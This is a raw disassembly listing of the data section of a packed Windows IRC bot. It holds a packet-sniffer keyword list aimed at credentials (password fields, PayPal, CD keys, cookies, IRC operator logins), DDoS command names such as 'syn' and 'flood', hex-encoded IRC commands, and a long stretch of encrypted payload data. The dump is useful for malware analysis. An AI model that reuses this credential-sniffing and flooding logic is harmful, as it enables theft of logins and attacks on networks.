"sxt " align 10h dd offset aAuth ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey_0 ; "cd-key" align 10h dd offset aCdKey ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" align 8 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D884 dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_41D8C8 dd offset dword_41D924 ; DATA XREF: sub_415EB7+98o align 10h dd offset dword_41D91C align 8 dd offset dword_41D914 align 10h dd offset dword_41D90C align 8 dd offset dword_41D904 align 10h dd offset dword_41D8FC dd 2 dup(0) dword_41D8FC dd 54495551h, 20hdword_41D904 dd 54524150h, 20hdword_41D90C dd 4E494F4Ah, 20hdword_41D914 dd 49504F54h, 2043hdword_41D91C dd 49544F4Eh, 204543hdword_41D924 dd 56495250h, 2047534Dh, 0aDdos db 'ddos',0 ; DATA XREF: .packed:0041D8BCo align 4 aServu db 'servu',0 ; DATA XREF: .packed:0041D8B4o align 10h aServU db 'serv u',0 ; DATA XREF: .packed:0041D8ACo align 4 aServU_0 db 'serv-u',0 ; DATA XREF: .packed:0041D8A4o align 10h aClone db 'clone ',0 ; DATA XREF: .packed:0041D89Co align 4 aFlood db 'flood ',0 ; DATA XREF: .packed:0041D894o align 10h aSyn db 'syn',0 ; DATA XREF: .packed:0041D88Co aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .packed:off_41D884o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .packed:0041D878o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .packed:0041D870o aLP db 'l/p',0 ; DATA XREF: .packed:0041D868o aIrcOperator db 'irc operator',0 ; DATA XREF: .packed:0041D860o align 4 aPaypal db 'paypal',0 ; DATA XREF: .packed:0041D858o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: .packed:0041D850o align 4 aCdKey db 'cd key',0 ; DATA XREF: .packed:0041D840o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .packed:0041D838o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .packed:0041D830o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .packed:0041D828o align 10h aAuth db 'auth ',0 ; DATA XREF: .packed:0041D820o align 4 aSxt db 'sxt ',0 ; DATA XREF: .packed:0041D818o align 10h aLogin_0 db 'login ',0 ; DATA XREF: .packed:off_41D810o align 4 aPw db 'pw=',0 ; DATA XREF: .packed:0041D804o aPass_1 db 'pass=',0 ; DATA XREF: .packed:0041D7FCo align 4 aLogin_1 db 'login=',0 ; DATA XREF: .packed:0041D7F4o align 4 aPassword_0 db 'password=',0 ; DATA XREF: .packed:0041D7ECo align 4 aUsername_0 db 'username=',0 ; DATA XREF: .packed:0041D7E4o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .packed:0041D7DCo aAuth_0 db ' :auth ',0 ; DATA XREF: .packed:0041D7D4o aIdentify db 'identify ',0 ; DATA XREF: .packed:0041D7CCo align 10h aOper db 'oper ',0 ; DATA XREF: .packed:0041D7C4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: .packed:0041D7C0o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .packed:0041D7BCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .packed:0041D7B8o align 4 aUser_1 db 'user ',0 ; DATA XREF: .packed:off_41D7B4o align 10h dword_41DA60 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41DA94 db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_41DAC8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DAECh, 0FD8093AFh, 0D2E6E2ADh dd 0A99AE3FBh, 2 dup(0) dword_41DB00 dd 0E3F44AC0h ; .packed:00416845r ... dword_41DB04 dd 94CFA2BAh dword_41DB08 dd 11B29A82h dword_41DB0C dd 2B0ED8BCh dd 2 dup(0) off_41DB18 dd offset dword_41DE20 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... align 10h off_41DB20 dd offset dword_41CD04 ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DB24 dd offset dword_41CCF8 ; DATA XREF: sub_40CF2F+B8r dword_41DB28 dd 0 ; sub_40CF2F+DFr dd offset dword_41CCE0 dd offset dword_41CCD4 align 8 dd offset dword_41CCB8 dd offset dword_41CCAC dd 0 dd offset dword_41CC90 dd offset dword_41CC84 align 10h dd offset dword_41CC64 dd offset dword_41CC58 dd 0 dd offset dword_41CC38 dd offset dword_41CC2C align 8 dd offset dword_41CC0C dd offset dword_41CC00 dd 4 dup(0) dword_41DB80 dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; sub_40D871:loc_40DCB8o dword_41DB90 dd 77697323h, 61h, 1Eh dup(0) ; sub_4093B6+6Co ... byte_41DC10 db 0FCh ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 8Fh, 9Ah, 0E1h dd 0CBE1FEE6h, 0EDA2h, 1Dh dup(0) byte_41DC90 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DD10 dd 3430032Eh, 2036202h, 0 ; sub_40D871+242o dword_41DD1C dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ; sub_406AE7+2Eo dword_41DE20 dd 0F58EBCF5h, 8CFCE5EEh, 0AF9FE5A6h, 0E8A3FCB9h, 0FC809FF1h ; DATA XREF: .packed:off_41DB18o dd 2 dup(0) dword_41DE3C dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .packed:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: .packed:loc_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: .packed:00416A54o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .packed:0041684Bo align 10h dword_41DEB0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DEC0 dd offset off_4172BC ; DATA XREF: .packed:off_4172C0o ; .packed:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DEE0 dd offset off_4172BC ; DATA XREF: .packed:off_417308o ; .packed:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DEF8 dd 0 ; sub_401856+21r ... dword_41DEFC dd 0 ; sub_401856+36r ... dword_41DF00 dd 0 ; sub_401856+4Br ... dword_41DF04 dd 0 ; sub_401856+Cr ... dd 0 dword_41DF0C dd 0 ; sub_4018AF+62r ... byte_41DF10 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DF18 dd 0 ; sub_404CBB+1Br ... dword_41DF1C dd 0 dword_41DF20 dd 0 ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_409C36+12r ... align 8 dword_41DF28 dd 0 dword_41DF2C dd 0 dword_41DF30 dd 0 dword_41DF34 dd 0 dword_41DF38 dd 0 dword_41DF3C dd 0 dword_41DF40 dd 0 dword_41DF44 dd 0 dword_41DF48 dd 0 dword_41DF4C dd 0 dword_41DF50 dd 0 dword_41DF54 dd 0 dword_41DF58 dd 0 dword_41DF5C dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_408B30+118r ... dword_41DF60 dd 0 ; sub_414EF4+6Cr ... dword_41DF64 dd 0 ; resolved to->WS2_32.getaddrinfo ; sub_403BD3+197r ... dword_41DF68 dd 0 ; resolved to->WS2_32.getnameinfo ; sub_403BD3+17Fw ... dword_41DF6C dd 0 ; resolved to->WS2_32.freeaddrinfo ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E374 dd 0 ; sub_4042FB+20o dword_41E378 dd 0 ; sub_4042FB:loc_404327r align 10h dword_41E380 dd 0 ; sub_405FA3+7Ar ... dword_41E384 dd 0 ; sub_405FA3+83r ... dword_41E388 dd 0 ; sub_405FA3+8Cr ... dword_41E38C dd 0 ; sub_405FA3+71r ... dword_41E390 dd 7 dup(0) ; sub_406041+Bo ... byte_41E3AC db 0 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E3B0 dd 0 ; sub_409226+77w ... align 8 dword_41E3B8 dd 6 dup(0) ; sub_4095A4+6o ... dword_41E3D0 dd 0 ; sub_4095A4+11r ... align 8 dword_41E3D8 dd 0 ; sub_4095A4+57r ... dword_41E3DC dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409DD0+65w ... dword_41E3E0 dd 0 ; sub_409DD0+44r ... dword_41E3E4 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409DD0+91w ... dword_41E3E8 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_409DD0+7Bw ... align 10h byte_41E3F0 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E7F8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E978 dd 40h dup(0) ; sub_40CF2F+A6o ... dword_41EA78 dd 3 dup(0) ; sub_40CF2F+36o ... dword_41EA84 dd 0 ; sub_40D366+15r ... dd 0 dword_41EA8C dd 0 ; sub_40E618:loc_40E66Dw byte_41EA90 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 40h dup(0) byte_41EB94 db 0 ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... align 4 dd 4 dup(0) dword_41EBA8 dd 5 dup(0) ; sub_40ED6E+35o ... dword_41EBBC dd 0 ; sub_410318+7w ... dword_41EBC0 dd 0 ; sub_410318+11w ... dword_41EBC4 dd 0 ; sub_410318+1Bw ... dword_41EBC8 dd 0 ; sub_410318+25w ... align 10h byte_41EBD0 db 0 ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... align 4 dd 5 dup(0) dword_41EBE8 dd 2 dup(0) dword_41EBF0 dd 0 dword_41EBF4 dd 2 dup(0) dword_41EBFC dd 0 ; sub_4127D0+16w dword_41EC00 dd 0 ; sub_4127D0:loc_4128A0r dword_41EC04 dd 2 dup(0) ; sub_412E04+7Fo dword_41EC0C dd 41h dup(0) ; sub_407148+172o ... dword_41ED10 dd 0 ; .packed:00416909w dword_41ED14 dd 0 dword_41ED18 dd 0 dword_41ED1C dd 0 dword_41ED20 dd 42h dup(0) ; sub_40A9CF+C51o ... dword_41EE28 dd 40h dup(0) ; sub_40A9CF+108Eo ... byte_41EF28 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EFA8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41F028 dd 40h dup(0) ; sub_4055E5+746o ... byte_41F128 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3B5h dup(0) dd 8000005Eh, 0A22A0000h, 8E1788D9h, 0B7205033h, 0C6C600B0h dd 0DE1ED3EBh, 0CE23FE94h, 0D00C51E6h, 0AA432A1Dh, 89D75F68h dd 49270075h, 82FBEE9Ch, 0AE9F519Fh, 709B63EBh, 9896A22h dd 81DBAE69h, 45A90583h, 0AB19F7CCh, 5A4CDCB0h, 0A078608Ch dd 0EEBF414Dh, 2259124Ah, 0DD4010BFh, 0C4832EFEh, 204BA412h dd 0ABC4BE82h, 6FF367A7h, 58F7BD46h, 0EAC34780h, 1A9F7B1Ch dd 98233310h, 1F2AB543h, 5C571548h, 0B21A5826h, 0A5BAB47Fh dd 27BB39DAh, 0ECF24A57h, 0E25039Ch, 0E1748793h, 130FF0DAh dd 0B6C0EC5Fh, 3648C44Bh, 0B03B131h, 36CABF72h, 41118708h dd 78194B4h, 9F078E26h, 7421D61Fh, 0EFCAE897h, 93372B69h dd 6E84C654h, 0D52A467Bh, 0DEF7AE16h, 0F1B02A3Bh, 3FA5C733h dd 0E4335A05h, 61CFED8Ch, 3AF08032h, 0BFC013D0h, 0C002794Eh dd 0B51B49A6h, 0FCA0D37Bh, 688E3628h, 7C5B1F8Bh, 0D36AA4A5h dd 0BE6F4653h, 26D8A239h, 0A2724982h, 18E47301h, 0BE872DF2h dd 9A08F625h, 0BFBE3763h, 0A806DD3h, 0DA8C2FDAh, 519CFD43h dd 0DA61293Bh, 0C6932656h, 4E144F16h, 641C6347h, 23A558B1h dd 0FC8323B3h, 7C1B4F87h, 339B31DAh, 0CFC01AC3h, 0E0687ADh dd 0AAABDECAh, 0AB875B73h, 46BE813Fh, 0FB863DBEh, 0FB973748h dd 909D3BE1h, 7F752440h, 893C48D5h, 2DAA3B1Bh, 0B45A8F69h dd 32834962h, 0CC486B4Fh, 20AA8198h, 0DD686FB7h, 0FB0501CFh dd 2DEC096h, 0C5387C3h, 95183F6Ah, 2FBE7847h, 0FC5176B0h dd 711F2509h, 5D9D680h, 8CCAE856h, 6A009D12h, 3FE586A0h dd 64EBDEAAh, 81C6B8A3h, 0C409E8F7h, 2BB40C18h, 8ED3A3A0h dd 507A4D34h, 0D98BF09Ch, 0AA8E304Dh, 0EC1D8AB1h, 82928005h dd 66E96AF5h, 8E6F6409h, 7FF88DBBh, 0CC516FA9h, 170FC435h dd 49BA9B65h, 81D8D8C4h, 9A552D3h, 26F83E0h, 5D8EB173h dd 5A6BF6D7h, 0ADA40425h, 0F6CA21ADh, 0F7B0EAE2h, 0F442F705h dd 1F7632Ah, 0AA29180Ah, 0E4921AEh, 6B11624Dh, 60C2E463h dd 4768792Ah, 7EC6EC4Ch, 4FA077ADh, 1CF67EFEh, 5C7C025h dd 97D9BA51h, 1610DEBAh, 1AAAAABFh, 84967737h, 84EA7B40h dd 57810DF5h, 105F02D9h, 130D9ADCh, 9744696h, 0D88A2602h dd 0F5EC239Ah, 0FA0B0818h, 59361A76h, 0BC8EB0EAh, 0F3640EE5h dd 121E0755h, 4CA7928Dh, 102B34B6h, 97D25A8Dh, 49BD9716h dd 0EB96BDEBh, 0C98B5C67h, 69F57D91h, 32D8604Fh, 88CF8536h dd 0E506FB1Eh, 9F611006h, 782E7857h, 717F2E7Dh, 0FE8F7C70h dd 7BD041AFh, 0AE9C8CAFh, 8E6392A4h, 731DB452h, 734AEE8h dd 280DE5E0h, 351B1FC1h, 1F9CCC69h, 9D027FDBh, 5A46D071h dd 9B734807h, 0CF05D53Eh, 0A1712344h, 359B21E0h, 6C6F4F3Fh dd 67017A71h, 0CF6C02A9h, 30ED325Dh, 684452BCh, 0FF4872D4h dd 5A4DCF93h, 50D2D042h, 0FC0D490Ch, 1572622Eh, 0D8D8F054h dd 79A93730h, 0A1CD11D6h, 0F90CBB93h, 9C95AB9Ah, 0AF5C40E1h dd 244A0882h, 7463DEFDh, 6A00CD5h, 7574A4F0h, 296C8E3Ch dd 8A6D3D70h, 0B25EB102h, 4C8737EEh, 95300B44h, 77C2D356h dd 34847BA1h, 543CF579h, 0F7AB7C1Bh, 56D6660Eh, 5FF0172h dd 0ECCD6F45h, 26E624Fh, 0A66602Bh, 0BE50A438h, 2D9DFFD1h dd 0DFB66E19h, 36A23113h, 55DDC08h, 6F9D51DDh, 0BCE7F1Ah dd 0C96EA939h, 0EFF97A1h, 2A7723F0h, 15C802D0h, 0CA3AD8DBh dd 0DDD5D75Bh, 0CC03EE3Bh, 4C41F39Dh, 0C02A1B98h, 67445BAh dd 0D5D3FBFBh, 9B0FFF87h, 954D0BBCh, 0A41990DEh, 9166EFB1h dd 3542AA28h, 4F1619D4h, 6385B152h, 32375F00h, 0B3DC9125h dd 68C4AA1Ch, 0AE5C6539h, 1E81F4EBh, 0F0E5193Ch, 5C0380ABh dd 0DD99E277h, 955A4B76h, 6D1CE348h, 808EBEDDh, 0C1D077A5h dd 17E3F286h, 496319CAh, 0B1F21569h, 0E868B72Fh, 0FE7A24D5h dd 6DE096FCh, 829F1DC8h, 0BAC3EDF4h, 35699DFBh, 0CE94667Dh dd 0A8E87B36h, 0DA58E1BFh, 784C3B7Bh, 954FDA83h, 5C37DF5Eh dd 36338F2Ah, 0E446B7C1h, 6371C5Bh, 0FBE990DFh, 266CB327h dd 0D0425EF2h, 827BB593h, 0E15FEC3Eh, 5B4A6DF4h, 87F3936Dh dd 847D916Ch, 0C68C6E93h, 0D8A02893h, 0ED9C91B6h, 0AF3FD710h dd 0DBF736C4h, 423D9978h, 0B5D849C4h, 4ED0DCD8h, 0F09955Eh dd 0D09D8C9Eh, 2192C869h, 77F56572h, 81462449h, 0EDB5DCCCh dd 8965A6AAh, 2C1FABA6h, 0F6324A57h, 0EF6124FEh, 0ACE1B0BEh dd 782D3D64h, 38BF18B3h, 4D88919Bh, 3DEA12E6h, 0D1278719h dd 97438474h, 0FF06E016h, 9349240Bh, 9CD0B769h, 0E507884Dh dd 0EE63DE32h, 509BA089h, 1710C727h, 0C9F2AA66h, 0C4740C24h dd 0CD54E7E5h, 538A1531h, 0B23F7125h, 9D3C6B84h, 857D77BBh dd 6EB3F542h, 84A105ABh, 417B4F7Fh, 7F37A8F8h, 0B163A410h dd 61095A5Eh, 0EBA19AE3h, 5A5C2AB5h, 477A56Bh, 42DD7256h dd 960413C5h, 20BCBDCEh, 0EC10B557h, 5C78FFF8h, 0A02724D6h dd 6512B333h, 0E84A30A5h, 4FEEDCE2h, 0B1E9024Eh, 0A06B19E2h dd 8A55DCA6h, 97156850h, 7DFB3ED3h, 1499E0AAh, 8AFCC494h dd 0CB06B592h, 7DD2565Bh, 3E048A13h, 1E6805Ah, 0CFA793CCh dd 5B76BAD1h, 0DB86C18Dh, 0F2B1BE1Eh, 48FDDB75h, 7D0FBBEAh dd 87515F24h, 7E11AAAh, 212F88F5h, 0D42E9473h, 0C3CC1669h dd 0FAB83F27h, 272B8F53h, 908C8503h, 461FC21Eh, 6E7806A1h dd 0EEF3B468h, 0AA12A8D1h, 0CFB4B550h, 2B8DC82Bh, 87D0305Fh dd 829AEAD6h, 544C0891h, 45BF573h, 0C7EA2D17h, 541890BAh dd 702E2274h, 0DB7C7B8Eh, 56962917h, 533CB931h, 0A7DC7767h dd 9D59BD0Eh, 0A195F4Fh, 0F7D92C98h, 0F1D503FEh, 69F39EB9h dd 0CE03121Eh, 0D6313F7Ch, 4EF5D9C9h, 31CAA87Eh, 49FDC141h dd 14EE5132h, 36009B03h, 2E56E037h, 0C9E0C05Ch, 20FECA56h dd 985EFD4Fh, 0F5B5AF52h, 0E815B11Ch, 1C4EF56Ch, 0B283425Eh dd 0E3E358C9h, 0BF3BE267h, 0D70DC78Bh, 361971EBh, 98D5C0ABh dd 7C0AB076h, 8E810D3Eh, 379F3B75h, 5C8479E7h, 0BCD2C8CFh dd 0BAADC4B1h, 187AB828h, 32395797h, 959AA26h, 0E9F7DF3h dd 3B6F3DECh, 2C87FDADh, 0CAAFC5D7h, 0D40A3CCDh, 594461E7h dd 0C1BA8762h, 7CCBB459h, 7A974584h, 6C108AC7h, 0D481D3CCh dd 19F8915Ah, 7E59E7D5h, 0A188FF91h, 543A16DDh, 0BE5B5BC7h dd 2410C300h, 0BBB09614h, 0CA5BBCBh, 51B3DCFBh, 0B27EF04Dh dd 20DCA21h, 2E475E39h, 0EF4FCB18h, 5853FC74h, 58BB31FCh dd 0ACCC448Dh, 0E40CBF2Dh, 0F83BB343h, 2DBA6835h, 479058F6h dd 0F9F05662h, 94DE8D23h, 27A233F1h, 3AACC554h, 0D86DF113h dd 0ACB60A85h, 72704124h, 0C73A50A5h, 2BFCF089h, 36D75096h dd 0FD1323E4h, 40E82518h, 74FE8DACh, 60760897h, 4B065F2Bh dd 29EEAE2h, 9BD685E3h, 0A32B5A75h, 527B6896h, 0D49BC499h dd 0E8846089h, 4B9CB315h, 418BD0F4h, 651A0A58h, 9C37CD32h dd 40CF52B8h, 0B4C0A26Eh, 56F2AD64h, 0EACAA7C7h, 7815462Ch dd 0BE3C2705h, 0B1D54751h, 65FA51A4h, 0A900B1E0h, 0DCB5F5EEh dd 0EDCD2BEEh, 786ADEBEh, 0DFE5E01Dh, 0FDE3BF8h, 0FB00DE19h dd 0FFA2DEB8h, 4CDCEE9Ch, 0C98161D9h, 0D875B66Ch, 853423Ah dd 3AC88D02h, 0A103FECAh, 694B788h, 0D7E99CE0h, 92CBD5CFh dd 0FEB324D2h, 5A54CFE1h, 0DA8ECADDh, 1B3FA870h, 20D8ABDh dd 1FDC1671h, 964E78C3h, 660EA576h, 9D8C31A5h, 59F60778h dd 0D136F6D0h, 870F5336h dd 7955AA24h, 82D3FE08h, 0DA2EA641h, 0ADBFEBE5h, 6F36018Eh dd 0B7527DB1h, 0DB1DB5BAh, 25F57203h, 4E328D5Ah, 48A95153h dd 0DC63DDC6h, 0B88CBCE3h, 0BBE04D53h, 96C3D069h, 0F59C7CFEh dd 86329CC6h, 0B52E2CE6h, 0F08D989Fh, 0AC05A253h, 0C0E7BA6h dd 0AD184919h, 9E72FD1Fh, 8107D166h, 60B820D1h, 0D174FAEBh dd 0D0D308E8h, 0FFFBB9BBh, 8BE389A5h, 170C1A38h, 6AD3C464h dd 6B83DAA8h, 0EE6FC9FAh, 0A9F8AF68h, 0B4C03001h, 37216684h dd 9090F13Fh, 0C7341106h, 0A7993F13h, 14E91AEFh, 4FAC7BE2h dd 3672AFE3h, 30293782h, 0DAED7CC1h, 0F16530F4h, 0A160DE44h dd 346DBFB3h, 3714254h, 0DD7777F6h, 0CE395624h, 0DB7F1990h dd 86DEBD1Ah, 27F80927h, 0A5AC6ED1h, 3B23557Eh, 0F47C89ACh dd 32547293h, 2D82CE11h, 50BC3B6Fh, 0B180C97Eh, 0A375C1A0h dd 5814CF0Eh, 12F852F7h, 0B2CD2BD0h, 2F6264C8h, 0DA72D782h dd 0AA31AD3Ah, 0B16CFB7Ch, 4D233626h, 0CC92A4F4h, 0E1680846h dd 0AEBE52DAh, 0FFA342BEh, 2C69DC66h, 0FED047F8h, 62F7620Bh dd 0CA35789h, 145A5970h, 3D5B8E7Ah, 0BDDF0358h, 0DC521CB3h dd 8FEE39BFh, 0AC1D59BEh, 0A26F7504h, 835678CEh, 0E6ED439Bh dd 0CA39D13Ch, 3BC1A89Ch, 0CD54E233h, 83A22509h, 0B7FACF72h dd 2F2AA6F7h, 0EC0A7FACh, 96B141DAh, 568A2385h, 0B553549h dd 96FFDA24h, 0F1B7C46Ch, 0A4F9B6C1h, 670C12F3h, 4A3EEA0Ah dd 4CEB0EF0h, 0F596BE69h, 92C42EF5h, 0B3CF844Ah, 6DE0E5A3h dd 3036452h, 0EF4C31D9h, 2D6E436Bh, 4C8068CEh, 0A18736Fh dd 55F29771h, 0C36302C5h, 8967EE4Dh, 0B9172857h, 9BC4AC19h dd 95E97C05h, 477F3114h, 17F2678Bh, 2F851FE9h, 907023C9h dd 8B3336F2h, 4431B20h, 77F889F5h, 940F50Fh, 8CC72B34h dd 0E19CE30h, 4443E298h, 7DD8617Ch, 18169210h, 251C3E7Eh dd 0B1B32FC6h, 376FE52Dh, 3CA6DC2Ah, 0F7A23EE0h, 15864596h dd 2ED240BFh, 0BAC26A51h, 0B43D2790h, 2753F53Fh, 0DD4A3AE8h dd 0DFFD440Bh, 0A82B853Fh, 2BADF1Eh, 493CC2Eh, 7726C481h dd 8E64018Bh, 7DCCEF9Fh, 7297AEh, 2E850787h, 6D5AFB3Eh dd 9B319801h, 10C37E15h, 0B2F8AAB4h, 0ECDECF85h, 3EA0A5A3h dd 0EE1B0B03h, 927C006Fh, 90250034h, 9D79C460h, 0BCCBC7EBh dd 942AFF70h, 0B9BCC5E4h, 8E7F1E0Eh, 0E8EC28E4h, 4513BDF6h dd 90CD5455h, 1CC79E96h, 4141B464h, 37D063E5h, 0C20DF6C3h dd 2C693E3Ah, 3E179F86h, 0D27DFA0Dh, 28ECD5AAh, 0B43E9FCBh dd 996ED0B3h, 88312AEDh, 0E007A7E7h, 0FEAA0FF9h, 0F29D9E21h dd 0F4EF5A19h, 7876E482h, 0CAB6C3A0h, 0AFDA22E1h, 66079733h dd 4891618h, 1B917B65h, 0CE3EDE96h, 0EB7D7DFAh, 1F92566Eh dd 0EB0834CFh, 53DBC171h, 0CB48783Ch, 80DB74A2h, 0F02859FEh dd 0DFC7172Eh, 5ABF0E50h, 75A3C1F1h, 0B4DC9A64h, 0F4A50B06h dd 789C2DD7h, 43E491F9h, 3FF18E73h, 66CACDA8h, 0C718C336h dd 6C7D7708h, 0B3E09F50h, 8E232535h, 0D7ACB216h, 0C5731C61h dd 96A31CC4h, 36E6FDA8h, 1FC49C19h, 0B2CA885Ah, 3D02DA0h dd 615C96E4h, 45143220h, 8564758Ch, 0AD50665Dh, 0B05E1B8Dh dd 42364B63h, 3A92EC2Fh, 8F53B73Ch, 6D0899ADh, 5FE724CAh dd 1DCE39Ch, 0E346DBE7h, 72C06B97h, 1E6302E0h, 0EEEE17EBh dd 0E85B70C5h, 9BE035A1h, 0EDBC8508h, 0E9A0688Eh, 49665BD2h dd 0D93A200Bh, 8B8D8CFAh, 0DA72BF01h, 0C42AE2CCh, 0E2D611C3h dd 67EA7BA3h, 397DEEA5h, 0B072E9F2h, 77ABF854h, 61F99649h dd 2DB9C4A7h, 65A52F1Ah, 0AC73B0F0h, 0AD476375h, 814CCB77h dd 608C7A19h, 0AA53E256h, 9F01BB5Ah, 35B3B0DAh, 9FBC38B3h dd 8D378E13h, 0A185D1Dh, 0B448DC2Eh, 10D063h, 0EC11ECEh dd 1E1E2411h, 0A3BE2C50h, 45546E0Dh, 0D4E09C5Ah, 0A13FACA9h dd 0EFE2D0F7h, 21F23ADBh, 43E8BCC3h, 0B3ACD6E5h, 6F7972A1h dd 1E62F7D1h, 4F3ADEA6h, 0D11C45EBh, 0F747080Ch, 0CDA085FFh dd 12DD8D60h, 0A3209B8h, 0EF6C40FDh, 8BB8BDFEh, 1785EBE7h dd 753F5EEEh, 0F7B1F27h, 577B8D19h, 275E306Ah, 0EF95759Bh dd 0C361A6BEh, 5787A0C0h, 53ADBC2Fh, 4961A45Bh, 5AC375DDh dd 878AC291h, 78D4D007h, 0E89C93C4h, 0CE479060h, 0FB3AEB2Fh dd 0DBFF1C8Dh, 0B51AF7D7h, 4E56445Eh, 4ADE22B7h, 6FFB018Ch dd 0DC6918Ah, 0B8415E68h, 62BCBD67h, 9FE77572h, 0D4C235E9h dd 61640796h, 3EB0CD7Eh, 738BB757h, 0D7969A1Fh, 0E38A1B1Ch dd 9DB1AC97h, 69C89DF0h, 0F59E97E8h, 0E808D708h, 0A2FF0FF8h dd 0D49CEC42h, 5DAAC0F9h, 0BA124B89h, 25B49059h, 0B2834B1h dd 60B0445Bh, 0FBDF8C2Fh, 49CBF6A0h, 9FC716Fh, 0B64DC568h dd 5A16EAB2h, 0B906AEA7h, 0FCB79F18h, 47913285h, 80032D88h dd 0C28FFB0h, 6ED9FCACh, 0C9425128h, 400A2FA0h, 0A0D98E89h dd 96DFEAEAh, 6B9AB633h, 0A566C3E7h, 0EC706353h, 249DF19Ah dd 79A074Eh, 9AFF79FAh, 0FD188EA8h, 9831EAB6h, 0CD94E9F7h dd 7257A2D9h, 0AD8B74F4h, 0BA3476ECh, 0CCEE08C1h, 712AF696h dd 4178CFCh, 44ABF094h, 0ACE40AEAh, 0F8574A45h, 5F325055h dd 16FA4B48h, 5D22D6ADh, 21F393E9h, 0D00BDA6Bh, 2F7982E5h dd 9E1299E8h, 0B2876C79h, 0A89BB2C1h, 0BE4956C2h, 6EF48305h dd 0C1AC0D92h, 43C36C6Fh, 0A3D5D685h, 0E49305EAh, 15D5AE81h dd 0A9A06FFh, 8E770010h, 2C40D506h, 0A2362A43h, 837C00C8h dd 0D677E40Fh, 0A2742B1Ah, 165A0DF4h, 93802678h, 0F19677BAh dd 0D02F3D89h, 0B76DDC2Fh, 39012E25h, 9C90F9B5h, 0E56193A3h dd 0DA9735B9h, 1A4F36D4h, 6518BB34h, 0C7EB4C76h, 0F63D5796h dd 162941FFh, 0C9B9E8Dh, 8C893E0Bh, 5D6A006Ah, 0B2080AB5h dd 53DDB035h, 387561E9h, 9218EA9h, 273BEA08h, 0D64121CFh dd 8E7688F2h, 628E9256h, 0B80EE112h, 13BDA01Ch, 0C457A62Ch dd 0C5CEDF99h, 0E9A29B4h, 3F8C09F8h, 5FFB2F9Ah, 6BFA77B1h dd 336373DFh, 0BBBC6BBAh, 4E033B66h, 2E25824Fh, 4EFC03Ah dd 18B72CBh, 0B426D07Ah, 0EC26844Dh, 0C2D8F7E5h, 0E8DDB305h dd 0A828649Dh, 0F1522AA9h, 